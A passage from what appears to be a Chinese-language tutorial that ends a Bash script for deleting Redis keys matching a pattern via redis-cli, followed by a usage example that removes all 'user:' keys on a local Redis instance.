            if [ $key != $cursor ];then
                echo "key:"$key
                ##删除key
                redis-cli -h $host -p $port -c del $key >/dev/null  2>&1
            fi
    done
done
echo 'done'

使用方式:

./redis-del-keys.sh localhost 6379 user:*

表示删除本机6379端口的redis中user:开头的所以key。